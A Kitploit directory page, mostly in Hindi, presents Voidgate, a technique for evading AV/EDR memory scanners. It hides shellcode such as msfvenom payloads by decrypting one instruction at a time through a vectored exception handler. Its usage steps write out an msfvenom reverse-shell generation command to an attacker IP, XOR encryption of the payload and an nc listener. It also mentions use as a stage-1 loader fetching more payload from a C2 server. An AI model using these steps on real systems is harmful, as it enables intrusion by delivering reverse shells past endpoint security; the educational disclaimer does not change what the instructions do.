Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Voidgate — A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page. | Kitploit
उपकरण/GitHubGitHub/vxcrypt0r/voidgate
IDS/IPS EvasionShellcodeDebuggersRed TeamingPayload DevelopmentAdversarial Attack
GitHubvxcrypt0r/voidgate

Voidgate

रिपॉजिटरी देखें
599842 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page.

साझा करें

VOIDGATE

विवरण:

एक तकनीक जिसका उपयोग AV/EDR मेमोरी स्कैनर को बायपास करने के लिए किया जा सकता है। इसका उपयोग व्यक्तिगत एन्क्रिप्टेड असेंबली निर्देशों के ऑन-द-फ्लाई डिक्रिप्शन को निष्पादित करके जाने-माने और पहचाने गए शेलकोड (जैसे msfvenom) को छिपाने के लिए किया जा सकता है, जिससे उस विशिष्ट मेमोरी पेज के लिए मेमोरी स्कैनर बेकार हो जाते हैं।


यह कैसे काम करता है:

यह तकनीक एक PAGE_EXECUTE_READWRITE मेमोरी क्षेत्र बनाएगी जहाँ एन्क्रिप्टेड असेंबली निर्देश संग्रहीत किए जाएंगे। शेलकोड कुछ पैडिंग के साथ लपेटा जाएगा। प्रोग्राम शेलकोड के एंट्रीपॉइंट पर एक हार्डवेयर ब्रेकपॉइंट (HWBP) सेट करेगा।

इसके बाद, प्रोग्राम एक वेक्टरेड एक्सेप्शन हैंडलर (VEH) स्थापित करेगा। यह VEH मूल रूप से एक डीबगर की तरह कार्य करेगा, कोड के माध्यम से सिंगल-स्टेप करते हुए, VEH द्वारा प्राप्त प्रत्येक SINGLE STEP एक्सेप्शन के लिए इंस्ट्रक्शन पॉइंटर रजिस्टर (RIP) को पढ़ेगा, और जहाँ RIP इंगित करता है . वहाँ अगले 16 बाइट्स (अधिकतम x64 असेंबली निर्देश लंबाई) को डिक्रिप्ट करेगा। VEH पहले डिक्रिप्ट किए गए निर्देश को वापस एन्क्रिप्ट भी करता है, यह सुनिश्चित करता है कि शेलकोड का बाकी हिस्सा वर्तमान में निष्पादित एकल असेंबली निर्देश के अपवाद के साथ हमेशा एन्क्रिप्टेड रहे। उसके बाद, यह Eflags रजिस्टर पर TRAP FLAG कॉन्फ़िगर किए जाने के साथ निष्पादन जारी रखेगा। यह सुनिश्चित करेगा कि अगला असेंबली निर्देश भी एक ब्रेकपॉइंट एक्सेप्शन को ट्रिगर करे, जिसे VEH संभाल सकता है।

VEH स्थापना के बाद, मुख्य थ्रेड निष्पादन पेलोड एंट्रीपॉइंट पर पुनर्निर्देशित किया जाएगा। जब HWBP एंट्रीपॉइंट पर ट्रिगर होगा, VEH प्रत्येक निष्पादित असेंबली निर्देश पर रुकेगा, अगले असेंबली निर्देश का डिक्रिप्शन करेगा और पिछले एन्क्रिप्टेड निर्देश को एन्क्रिप्ट करेगा जो एक वैश्विक चर के रूप में सहेजा गया है।

ऐसा करके, मूल रूप से एक समय में एक एकल असेंबली निर्देश डिक्रिप्ट किया जाता है, बाकी पेलोड एन्क्रिप्टेड रहता है।


सीमाएँ:

नोट: यह तकनीक msfvenom या कस्टम रिवर्स शेल जैसे बुनियादी शेलकोड का उपयोग करके प्रारंभिक पहुँच प्राप्त करने के लिए आदर्श है। इसका उपयोग प्रारंभिक चरण 1 पेलोड के रूप में भी किया जा सकता है जो C2 सर्वर से बाकी पेलोड डाउनलोड करता है।

नोट: यह तकनीक सभी पेलोड (जैसे रिफ्लेक्टिव लोडर) के साथ संगत नहीं है . नीचे वर्तमान सीमाओं की सूची दी गई है:

  • 1.) चूँकि VEH शेलकोड में निष्पादित प्रत्येक असेंबली निर्देश के लिए ट्रिगर होगा, शेलकोड की निष्पादन गति काफी धीमी हो जाएगी। CPU द्वारा निष्पादित प्रत्येक असेंबली निर्देश के लिए, VEH डिक्रिप्शन, एन्क्रिप्शन और मुख्य थ्रेड को निष्पादन बहाल करने के लिए कम से कम अतिरिक्त 300 ASM निर्देश निष्पादित करेगा। यदि दिया गया शेलकोड प्रदर्शन के बजाय छोटे आकार के लिए अनुकूलित है (जैसे msfvenom), तो पेलोड निष्पादन धीमा होगा। MSFVENOM को निष्पादित करने में 15 सेकंड से अधिक समय लग सकता है (CPU के आधार पर)। ऐसा इसलिए होता है क्योंकि msfvenom द्वारा उपयोग किया जाने वाला विशिष्ट शेलकोड छोटा पेलोड आकार प्राप्त करने के लिए प्रदर्शन का त्याग कर रहा है।
  • 2.) यदि शेलकोड NtCreateThread या Kernelbase.dll में इसके किसी भी रैपर को शेलकोड के अंदर एंट्रीपॉइंट के साथ कॉल करता है, तो पेलोड काम नहीं करेगा क्योंकि VEH उस थ्रेड निष्पादन के लिए ट्रिगर नहीं होगा क्योंकि नव निर्मित थ्रेड के एंट्रीपॉइंट पर कोई HWBP स्थापित नहीं है। (कार्य प्रगति पर - इस रिपॉजिटरी में आगे लागू किया जाएगा)
  • 3.) यदि शेलकोड में अपने अंदर कुछ मान/चर संग्रहीत हैं (उदाहरण के लिए, कच्चा स्ट्रिंग "powershell.exe" जिसे WinExec WINAPI के कॉल में ऑफसेट के माध्यम से संदर्भित किया जाता है) या कुछ संख्या ऑफसेट पर सहेजी गई है, और शेलकोड बाद में उसे कहीं लोड या संदर्भित करने का प्रयास करेगा, तो प्रोग्राम काम नहीं करेगा क्योंकि विशिष्ट चर या स्ट्रिंग एन्क्रिप्टेड होगी और VEH उसे डिक्रिप्ट नहीं करता है। यदि शेलकोड असेंबली निर्देशों के माध्यम से ऐसे तर्कों को स्टैक पर धकेलता है ( एक फ़ंक्शन के कॉल में उपयोग के लिए स्टैक पर "AAAAAAAA" डालने के लिए), तो यह तकनीक काम करेगी। (कार्य प्रगति पर - इस रिपॉजिटरी में आगे लागू किया जाएगा)

उपयोग:

POC को पुनः प्रस्तुत करने का तरीका:

  • 1.) अपना msfvenom पेलोड बनाएँ:
root@kitploit:~
 msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
  • 2.) पेलोड को XOR एन्क्रिप्ट करने के लिए XorEncryptPayload.exe का उपयोग करें
root@kitploit:~
./XorEncryptPayload.exe C:\Path\to\shell.asm
  • 3.) Voidgate प्रोजेक्ट के main.cpp के अंदर उस वेरिएबल को अपडेट करें जिसमें शेलकोड होता है
  • 4.) सुनिश्चित करें कि xor कुंजी एन्क्रिप्टर और Voidgate प्रोजेक्ट से मेल खाती है
  • 5.) सुनिश्चित करें कि आपका listener हमलावर मशीन पर प्रतीक्षा कर रहा है:
root@kitploit:~
nc -nvlp 443
  • 6.) Voidgate.exe को निष्पादित करें

डेमो:


अस्वीकरण

यह रिपॉजिटरी शैक्षणिक उद्देश्यों के लिए है, इस सॉफ़्टवेयर का उपयोग आपकी अपनी ज़िम्मेदारी है।

टूल डाउनलोड करें
push 0x4141414141414141